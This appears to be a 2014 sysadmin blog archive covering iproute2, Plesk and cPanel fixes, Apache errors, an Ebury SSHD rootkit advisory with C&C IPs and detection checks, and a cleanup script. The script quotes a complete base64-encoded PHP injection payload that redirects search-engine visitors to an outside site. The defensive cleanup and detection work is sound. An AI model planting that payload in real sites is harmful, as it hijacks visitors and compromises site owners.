We can replicate this functionality with subcommands in the iproute2 suite.


To get an overview of the addresses attached to each interface, type ip addr in with no arguments:


ip addr

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 54:be:f7:08:c2:1b brd ff:ff:ff:ff:ff:ff
inet 192.168.56.126/24 brd 192.168.56.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::56be:f7ff:fe08:c21b/64 scope link
valid_lft forever preferred_lft forever

To get a specific interface, you can use this syntax:


ip addr show eth0

2: eth0: mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 54:be:f7:08:c2:1b brd ff:ff:ff:ff:ff:ff
inet 192.168.56.126/24 brd 192.168.56.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::56be:f7ff:fe08:c21b/64 scope link
valid_lft forever preferred_lft forever

In fact, the ip addr command is just an alias for the ip addr show command.


If you are only concerned with the interfaces themselves and not the addresses, you can use the ip link command instead:


ip link

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 04:01:13:8a:a2:01 brd ff:ff:ff:ff:ff:ff

To get information about a specific interface, you’ll need to add the keyword show followed by the interface name:


ip link show eth0

To get statistics about how an interface is communicating, you can query statistics from each interface by passing the -s option to the link subcommand:


ip -s link show eth0

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 04:01:13:8a:a2:01 brd ff:ff:ff:ff:ff:ff
RX: bytes packets errors dropped overrun mcast
853144 14672 0 0 0 0
TX: bytes packets errors dropped carrier collsns
91257 537 0 0 0 0

So how do we find our routing table? The routing table contains kernel information about the paths to other network locations. We can print off the current routing table by typing:


ip route show

default via 107.170.58.1 dev eth0 metric 100
107.170.58.0/24 dev eth0 proto kernel scope link src 107.170.58.162

This shows us that the default route to the greater internet is available through the eth0 interface and the address 107.170.58.1. We can access this server through that interface, where our own interface address is 107.170.58.162.


How To Configure Network Interfaces and Addresses


Now that you are familiar with how to get information about the interfaces and addresses associated with them, the next step is to find out how to modify their states.


The first step is to configure the interface itself. You can do this with the ip link subcommand again. This time, however, you pass the action set instead of show in order to modify values.


For instance, we can bring a network interface up or down by issuing these:


ip link set eth1 up
ip link set eth1 down

Note: Be careful not to accidentally bring down the interface that you are connected to your server through.


You can also use the ip link subcommand to set attributes about the interface. For instance, if you would like to change the multicast flag on or off for your interface, you can type:


ip link set eth1 multicast on
ip link set eth1 multicast off

You can adjust the mtu and package queue length like this:


ip link set eth1 mtu 1500
ip link set eth1 txqueuelen 1000

If the interface you are configuring is down, you can adjust the interface name and the arp flag associated with the device:


ip link set eth1 name eth10
ip link set eth1 arp on

To adjust the addresses associated with the interfaces, we again use the ip addr subcommand.


We can add an address to a device by typing:


ip addr add ip_address/net_prefix brd + dev interface

The brd + portion of the command automatically sets the broadcast address. Multiple addresses can be added to each interface without a problem.


We can get rid of addresses with the inverse operation. To delete a specific address associated with an interface, you can use it like this:


ip addr del ip_address/net_prefix dev interface

Optionally, you can omit the address, and the first listed address associated with that interface will be deleted.


You can also adjust the routing of the server, using the ip route [add | change | replace | delete ] syntax, but we won’t be covering this here, because most people will will not be adjusting this on a regular basis.


Additional Capabilities of IPRoute2


IPRoute2 has some additional capabilities that we will not be able to discuss in-depth in this guide. Instead, we will talk about what these are and what situations you may find them useful.


The idea of IP routing rules is difficult to talk about because it is very situation dependent. Basically, you can decide on how to route traffic based on a number of fields, including target address, source address, routing protocol, packet size, etc.


We access this functionality by using the ip rule subcommand. The basic querying follows the general pattern of the other subcommands:


ip rule show

0: from all lookup local 
32766: from all lookup main
32767: from all lookup default

These three routing rules are the default rules configured by the kernel. The first line matches any traffic and is used to route high priority traffic. The second line is the main rule that handles normal routing. The last one is an empty rule that is used for post-processing if the rules above didn’t match the packet.


Routing rules, as configured by the IPRoute2 software, are stored in a routing policy database, where the policy is selected by matching against sets of rules. We can add or delete rules using the appropriate actions. You should not do this without knowing what you are doing however. Look at the man pages and search for ip rule for more information.


man ip # search for "ip rule"

Another thing that we’ll discuss briefly is the handling of arp information through these tools. The subcommand that deals with this information is called ip neigh.


ip neigh

107.170.58.1 dev eth0 lladdr 00:00:5e:00:01:68 DELAY

By default, this should at least list your gateway. Arp is a protocol used to gather information about physical devices accessible through the local network.


Basically, an arp request is broadcast over the local network whenever an IP address needs to be reached. The matching IP address responds and then the local computer knows where to send information to that IP address. This information is cached on the local system for some time (typically about 15 minutes) to avoid having to query during follow up communication.


Conclusion


You should now have a fairly good idea of how to use the tools included in the iproute2 suite. While many guides and tutorials still refer to the old utilities, partly because knowledgeable system admins often grew up using the older tools, the commands discussed in this guide will be taking over in the coming years.


It is important to familiarize yourself with these commands now before you find yourself troubleshooting issues on a system that has switched to these commands (Arch Linux already fully converted in 2011). In general, they are much more consistent, and you can count on certain conventions being available in all of the commands. The more you use these commands, the more they will become second nature.


By Justin Ellingwood


Friday 14 March 2014

Horde webmail stops working after installation of Zend Optimizer or manual PHP installation

After installation of Zend Optimizer or manual PHP installation Horde webmail stops to work.


The following error is displayed when trying to browse webmail website:


Warning
: main(PEAR.php): failed to open stream: No such file or directory in C:\Inetpub\vhosts\webmail\horde\lib\core.php on line 26


Warning
: main(): Failed opening ‘PEAR.php’ for inclusion (include_path=’C:\Inetpub\vhosts\webmail\horde\lib;.;./includes;./pear’) in C:\Inetpub\vhosts\webmail\horde\lib\core.php on line 26

Warning: main(Log.php): failed to open stream: No such file or directory in C:\Inetpub\vhosts\webmail\horde\lib\Horde.php on line 3

Warning: main(): Failed opening ‘Log.php’ for inclusion (include_path=’C:\Inetpub\vhosts\webmail\horde\lib;.;./includes;./pear’) in C:\Inetpub\vhosts\webmail\horde\lib\Horde.php on line 3

Warning: _connect(DB.php): failed to open stream: No such file or directory in C:\Inetpub\vhosts\webmail\horde\lib\Horde\DataTree\sql.php on line 1255

Fatal error: _connect(): Failed opening required ‘DB.php’ (include_path=’C:\Inetpub\vhosts\webmail\horde\lib;.;./includes;./pear’) in C:\Inetpub\vhosts\webmail\horde\lib\Horde\DataTree\sql.php on line 1255


Cause


PHP and Zend installers force PHP to use a default configuration file for all applications, but horde uses a special configuration file which is placed to its folder.


Resolution


Please open regedit and clean up the default configuration location by removing the following key:


on x86 servers – HKEY_LOCAL_MACHINE\SOFTWARE\php\IniFilePath
on x64 servers – HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\PHP\IniFilePath


Parallels Plesk Panel stops working after Zend Optimizer installation

Parallels Plesk Panel stops working after the installation of Zend Optimizer.


Cause


The reason for the problem is that Zend sets a path to the php.ini file in the registry:


HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath=C:\WINDOWS

Therefore, all .php scripts on the server start using this setting and use the C:\WINDOWS\php.ini file for PHP configuration.


Resolution


To fix this problem , the following key needs to be removed:


  • On x86 servers – HKEY_LOCAL_MACHINE\SOFTWARE\php\IniFilePath

  • On x64 servers – HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\PHP\IniFilePath

Then, all .php scripts will use the correct .ini files.


Define MTA is used in Parallels Plesk Panel and how to switch from QMail to Postfix and back

Two Message Transfer Agents (MTA) are supported by Parallels Plesk Panel versions 9 and above, and they are QMail and Postfix. Only one of them is used by Parallels Plesk Panel at a time


The MTA that is currently used by Parallels Plesk Panel is shown on the “Services Management” page at Home -> Services Management:


  • SMTP Server (Postfix)

  • SMTP Server (QMail)

It is also possible to check the MTA using the Parallels Plesk Panel utility mailmng


 ~# $PRODUCT_ROOT_D/admin/sbin/mailmng --features | grep SMTP_Server
$features['SMTP_Server'] = "Postfix";
$features['SMTP_Server_package'] = "postfix";
~#
or
~# $PRODUCT_ROOT_D/admin/sbin/mailmng --features | grep SMTP_Server
$features['SMTP_Server'] = "QMail";
$features['SMTP_Server_package'] = "psa-qmail";
~#


Resolution


You can switch the MTA from QMail to Postfix and back using the autoinstaller script.


Run the script without parameters:


 ~# /usr/local/psa/admin/sbin/autoinstaller 

Select the Plesk version marked with (currently installed) on the fourth page. Disable all other applications, such as SSO and Sitebuilder.


On the main components list for Plesk page, select the QMail or Postfix mailserver and click “Enter” to complete the installation.


Alternatively, you may run the following command to switch the MTA to Postfix:


 ~# /usr/local/psa/admin/sbin/autoinstaller --select-release-current --install-component postfix

Use the following command to switch to QMail:


 ~# /usr/local/psa/admin/sbin/autoinstaller --select-release-current --install-component qmail

Additional Information


The location of the directory where email messages are stored ($PLESK_MAILNAMES_D) and the mail format are not changed when the MTA is switched.


NOTE: Old mail messages remain unchanged and are available.


However, the mail queue is reconfigured while switching the MTA, and any messages in the queue are lost.


Before switching, it is recommended that you wait until all queued mail is delivered and stop the SMTP service to stop receiving emails.


Using the following command, you may stop the SMTP service:


 ~# /usr/local/psa/admin/sbin/mailmng --stop-smtpd

To flush the queue, use the following commands:


QMail MTA:


 ~# kill -ALRM `pidof qmail-send`

Postfix MTA:


 ~# postqueue -f

 


Beware of Linux SSHD rootkit to steal SSH credentials in server

[2014-01-08] Information about an updated version of the SSHD rootkit called Ebury added.


Since the end of Feb 2013, some server administrator found the SSHD rootkit infection on RPM based Linux server in the wild. German CERT team   discovered that 38 IP addresses in HK had connected to one of this rootkit’s command and control server (C&C) and these Linux servers might have been   infected by a SSHD rootkit. HKCERT received their report and informed to the owners of affected server to check and clean up their servers.


 SSHD Rookit


SSH is the major tool on Linux for remote administration and it is a critical security risk if this application is compromised. This SSHD rootkit is not caused by SSH vulnerability and the initial attack vector is still unknown. The rootkit must be installed on a root compromised server and it replaces the legitimate keyutils library with a trojanized library (i.e. rootkit file). The rootkit links with SSHD daemon to collect credentials of authenticated SSH users and may not leave any trail on audit log.


 Besides, the rootkit implements a DGA (Domain Generation Algorithm) which creates the random looking domain names in the .biz, .info and .net top level domains (in this order) and send a DNS packet containing collected credentials to the target domains which are generated by the rootkit in daily. If the domains are not yet registered by the attacker, the DNS packet is sent to the hard-coded IP address “78.47.139.110” or “72.156.139.154″.


https://www.hkcert.org/image/image_gallery?uuid=b6c9d0a2-d747-4fde-b82e-1d04449cc58b&groupId=16&t=1363081800304


What is the impact of infected servers?


The infected servers may have the following impact:


  • Steal user credentials on system

  • Steal SSH private keys for outgoing SSH connections

  • As a backdoor to access at any time

  • Used for sending spam

How to check if your Linux server is infected?


[2014-01-08] According to CERT-Bund, an updated version of the rootkit called Ebury was discovered, and following is the detection method:


  1. Ebury uses shared memory segments (SHMs) for interprocess communication. To show a list of currently existing SHMs, run the command ‘ipcs -m’ as root.

  2. If the output shows one or more large segments (at least 3 MB) with full permissions (666), the system is most likely infected with Ebury. Sample output:

    ------ Shared Memory Segments --------

    key shmid owner perms bytes nattch

    0x000006e0 32763 root 666 3018428 0

    0x00000469 65538 apache 666 4313584 0


    0x0000047a 131072 smmsp 666 3966496 0


    Please note that Ebury often changes the ownership of segments to arbitrary users existing on the system (like ‘apache’) to make the segments look legit.


[For older version of SSHD rootkit] The following checking can help you to verify if your Linux server is infected.


  • Locate the network activity issued by the trojanized keyutils library

Check the output of following command (in one line):



#find /lib* -name libkeyutils\* -exec strings \\ \; | egrep 'connect|socket|inet_ntoa|gethostbyname'


If there is any output, your server is infected.

If there is no output, proceed to next step.


  • Check the file integrity of keyutils library

Check the output of the following command:



#rpm -Vv keyutils-libs


If you see output similar the list below, it means that the package is infected:




........ /lib/libkeyutils-1.2.so
S.5..... /lib/libkeyutils.so.1
........ /usr/share/doc/keyutils-libs-1.2
........ d /usr/share/doc/keyutils-libs-1.2/LICENCE.LGPL



If the server is not infected, you should only see dots in left column:




........ /lib64/libkeyutils-1.2.so
........ /lib64/libkeyutils.so.1
........ /usr/share/doc/keyutils-libs-1.2
........ d /usr/share/doc/keyutils-libs-1.2/LICENCE.LGPL



 


Solution


If your server is infected


  1. We strongly recommend you to reinstall the OS of infected server to avoid any unknown security risk. Due to the attack vector is still unknown, please do the following action to avoid re-infection.
    1. Perform the above checking regularly

    2. Keep monitor the latest patch or security issue relating to this rootkit


  2. However, if you are not able to perform re-installation, please fix the following items under no network connection environment.
    1. Re-install libkeyutils (using rpm –replacepkg option) and reboot the server.

    2. Perform the above checking to ensure that the libkeyutils is replaced by a clean one

    3. Change the password of all SSH user account.


Thursday 13 March 2014

How long does it take to refresh my DNS cache?

The cache is cleared over a certain amount of time. We suggest waiting up to 24 hours for the DNS cache to be fully refreshed. DNS will refresh according to the “TTL” or “Time To Live“. When the DNS refreshes according to its TTL, the propagation is complete and your site will load.


Domain pointing to external MX on plesk

If you domain uses external MX record and it is hosted on linux plesk server then you need to change the setting on Plesk.

Here is what you need to do to achieve the task.


1) Update the DNS for the Domain


- Change/Add MX records to set external email server with relevant priorities

- Either remove the CNAME for mail.domainname.com(if not to be used for configuration) OR

- Edit CNAME for the domain which will point to external email server (usually provided by email service provider) OR

- Add A record for mail.domainname.com to point to external email server


* This will take some time (12 to 24 hours) to propagate the changes made in DNS.


2) Once the DNS is configured to use external email server, it is necessary to de-activate the Mail service for the domain from the Plesk.


- Login to Plesk as admin

- Domains

- Search and go into the Domain

- Click on ‘Mail’ (has drop down options)

- Click on ‘Mail Settings’ (other option is ‘Create Mailing List’)

- Under Mail Preferences Uncheck the option “Activate mail service on domain”

- Click ‘OK’ button to save the settings.


The Above settings must remove the entry for the domain from the following two “qmail” server configuration files.


=> /var/qmail/control/rcpthosts

=> /var/qmail/control/virtualdomains


After removal of above to entries, server will look for the external email server for that domain by fetching MX records from its DNS


How to upgrade php 5 on a windows plesk Server

You can upgrade the version of php on windows plesk server through the following steps


1) Download the php Binaries of the version which you want to upgrade


2) Stop the plesk services on the server


3) Goto the path D:\parallels\plesk\additional\pleskphp5


rename pleskphp5 to oldpleskphp5 and create a new folder named


pleskphp5 and extract the php binaries in it . Delete the php.ini file in it and   copy the php.ini file from oldpleskphp5 and paste it in the new


D:\parallels\plesk\additional\pleskphp5  path


4) Goto Server , Server Components and click Refresh .


Thats it , you will see the upgraded version of PHP


How to install MariaDB in cPanel/WHM

MariaDB is “An enhanced, drop-in replacement for MySQL”. Below you will find some steps on how to affectively stop cPanel/WHM from maintaining MySQL and begin utilizing MariaDB  for any and all database activity on your server but please note that,  cPanel/WHM no longer maintains MySQL on your system it is on the Systems Administrator to manage and maintain any updates and maintenance on the database software.  We recommend only experienced systems administrators perform the above and we are not responsible for any possible data loss.


Step 1: Backup existing MySQL data


Make sure to save all existing data just in case there are any issues.


cp -Rf /var/lib/mysql /var/lib/mysql-old
mv /etc/my.cnf /etc/my.cnf-old

## Also please take sql file of the existing databases, so that we can avoid the data lose

Step 2: Disable the targets so cPanel no longer handles MySQL updates #ONLY FOR cPanel 11.36+


The following will mark the versions of MySQL we distribute as uninstalled so they are no longer maintained by cPanel/WHM


/scripts/update_local_rpm_versions --edit target_settings.MySQL50 uninstalled
/scripts/update_local_rpm_versions --edit target_settings.MySQL51 uninstalled
/scripts/update_local_rpm_versions --edit target_settings.MySQL55 uninstalled

Step 3: Remove existing MySQL RPM’s so theres a clean slate for MariaDB



/scripts/check_cpanel_rpms --fix --targets=MySQL50,MySQL51,MySQL55

[20130623.211100]    
[20130623.211100]   The following RPMs are unneeded on your system and should be uninstalled:
[20130623.211100]   MySQL55-client.5.5.31-1.cp1136
[20130623.211100]   MySQL55-devel.5.5.31-1.cp1136
[20130623.211100]   MySQL55-server.5.5.31-1.cp1136
[20130623.211100]   MySQL55-shared.5.5.31-1.cp1136
[20130623.211100]   MySQL55-test.5.5.31-1.cp1136
0
[20130623.211100]   Removing 0 broken rpms:
[20130623.211100]   rpm: no packages given for erase
[20130623.211100]   No new RPMS needed for install
[20130623.211100]   Uninstalling unneeded rpms: MySQL55-test MySQL55-server MySQL55-client MySQL55-shared MySQL55-devel

Step 4: Create a yum repository for MariaDB


access https://downloads.mariadb.org/mariadb/repositories and select the DISTRO and place the repo content to /etc/yum.repos.d/MariaDB.repo

EX (In my cause):
#vi /etc/yum.repos.d/MariaDB.repo

# MariaDB 5.5 CentOS repository list - created 2013-06-23 21:13 UTC
# http://mariadb.org/mariadb/repositories/
[mariadb]
name = MariaDB
baseurl = http://yum.mariadb.org/5.5/centos6-amd64
gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB
gpgcheck=

Step 5: install MariaDB using the  following command


yum install MariaDB-server MariaDB-client MariaDB-devel

##If you are having any dependency problem, please remove php from the /etc/yum.conf file and then run yum command again. Please add it back to yum conf once the package is installed.


/etc/init.d/mysql start
mysql_upgrade
/etc/init.d/mysql restart

Final Step: Rebuild easyapache/php to ensure modules are intact/working


/scripts/easyapache --build


How to install MariaDB in cPanel/WHM

mod_reveseproxy: extract client IP from reverse proxy

If you setup Apache 2.4 With mod_remoteip, the apache extendedstatus always gives you the proxy IP, instead of client IP, actually this is due to that the mod_status  set client IP very early when there is a TCP connection but no headers, Apache 2.4 allows per-request notion of overriding the client address, but not at this early stage. To overcome this issue, I would suggest you to use mod_reveseproxy apache module, the modules is completely based on mod_cloudflare and mod_remoteip.


To install, follow the instructions on:


wget https://raw.github.com/Prajithp/mod_reverseproxy/master/mod_reverseproxy.c
apxs -i -c -n mod_reverseproxy.so mod_reverseproxy.c


Configuration Directives


ReverseProxyEnable           (On|Off)          - Enable reverse proxy

ReverseProxyRemoteIPHeader X-Real-IP - The header to use for the real IP
address.
ReverseProxyRemoteIPTrusted 127.0.0.1 - What IPs to adjust requests for


Example Configuration




LoadModule reverseproxy_module modules/mod_reverseproxy.so

<IfModule reverseproxy_module>
ReverseProxyEnable  On
ReverseProxyRemoteIPHeader X-Real-IP
ReverseProxyRemoteIPTrusted 127.0.0.1
ReverseProxyRemoteIPTrusted 46.105.160.192
</IfModule>



NOTES:


  • If mod_cloudflare or mod_remoteip are already loaded on the same web server, the web server will crash because both modules try to set the remote IP to a different value.

https://github.com/Prajithp/mod_reverseproxy




mod_reveseproxy: extract client IP from reverse proxy

How Can I See My Total Disk Space and Bandwidth Available on My Reseller Account?

If you would like to check the number of files, disk space or how much bandwidth you are using on your Reseller account, you can do so from your WHM panel.


View Disk Space per cPanel


You can view the disk space allotment and usage for a specific account by doing the following:


  1. Log into WHM.

  2. Click on Account Information.

  3. Click on List Accounts.

The allotments for each cPanel account will be listed in the Quota and Disk Used columns.


View Disk Space for the Entire Reseller Account


If you are wanting to see the total amount of disk space for your entire Reseller account:


  1. Log into WHM.

  2. Click on Account Functions.

  3. Click on Create New Account.

At the bottom of the page, under Account Creation Resource Information, the total disk space and bandwidth for the entire Reseller account will be listed along with the amounts allotted per package.


View Bandwidth Usage


To view your bandwidth usage per cPanel or for your entire Reseller account, you can do so by doing the following:


  1. Log into your Reseller WHM Panel.

  2. Click on Account Information.

  3. Click View Bandwidth Usage.

when you go to “create a New Account” on the right side you should see the current space and bandwidth usag


Wednesday 12 March 2014

Apache: No space left on device: Couldn’t create accept lock

No space left on device: Couldn’t create accept lock


[notice] suEXEC mechanism enabled (wrapper: /usr/local/apache/bin/suexec)

[crit] (28)No space left on device: mod_rewrite: Parent could not create RewriteLock file /usr/local/apache/logs/rewrite_lock


semget: [emerg] (28) No space left on device OR Apache: No space left on device: Couldn’t create accept lock


You may receive “No space left on device” message while starting the Apache service, however, it has nothing to do with the disk space. The reason behind the error message is Semaphores.


You will have to kill the active semaphore processes in order to start Apache service successfully.


To list the PIDs of the active semaphore processes, execute:


# ipcs -s

—— Semaphore Arrays ——– key

semid owner perms nsems

0×00000000 366673220 apache 600 1

0×00000000 366706589 apache 600 1

0×00000000 366732358 apache 600 1

0×00000000 366734353 apache 600 1

It will list all the PIDs which need to be killed:


# ipcrm -s PID


If you have a long list of processes, execute the following commands:


# ipcs -s | grep apache | awk ‘ print $2 ‘ | xargs ipcrm sem

#for i in `ipcs -s | awk ‘print $2’`; do (ipcrm -s $i); done


Replace ”apache’ in the above command with the actual “owner” of the processes returned in the “ipcs -s” command. Apache will start successfully once these processes are killed.


What is a Semaphore?


Semaphores are use to communicate between active processes. Apache write down some information of such processes before the communication actually begins and if Apache fails to write the information, it results in the “No space left on device: Couldn’t create accept lock” error message.



Apache: No space left on device: Couldn’t create accept lock

Apache error : Error retrieving pid file logs/httpd.pid

Unable to start Apache service on cPanel server.


If you are getting the following error while trying to restart the Apache service.


————————-

-bash-3.2# /etc/init.d/httpd start

(20014)Internal error: Error retrieving pid file logs/httpd.pid

Remove it before continuing if it is corrupted.

————————-


Solution :-


-bash-3.2# mv /usr/local/apache/logs/httpd.pid /usr/local/apache/logs/httpd.pid.bk

-bash-3.2# /etc/init.d/httpd restart

httpd not running, trying to start


Be sure that the apache service is running :


# /etc/init.d/httpd status


Tuesday 11 March 2014

Script - replace the hack code from all php files

We came across a situation  where we have to  replace  the   hack/eval code from many PHP  files and hence thought of writing a small shell script that will  remove the hack/eval code from  all the infected PHP  files .


And I came up with the below simple shell script and thought of sharing it here so that if anyone came across the same situation  then  he/she can use that script. – Raj


root@leserver[#]  vi  replacehack.sh


hacked='eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcGlvcG8uMjV1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));'

find -name \*.php | xargs replace $hacked ""  --


You can  execute the   hackreplace.sh file  as


 root@leserver[#]  sh replacehack.sh



Script - replace the hack code from all php files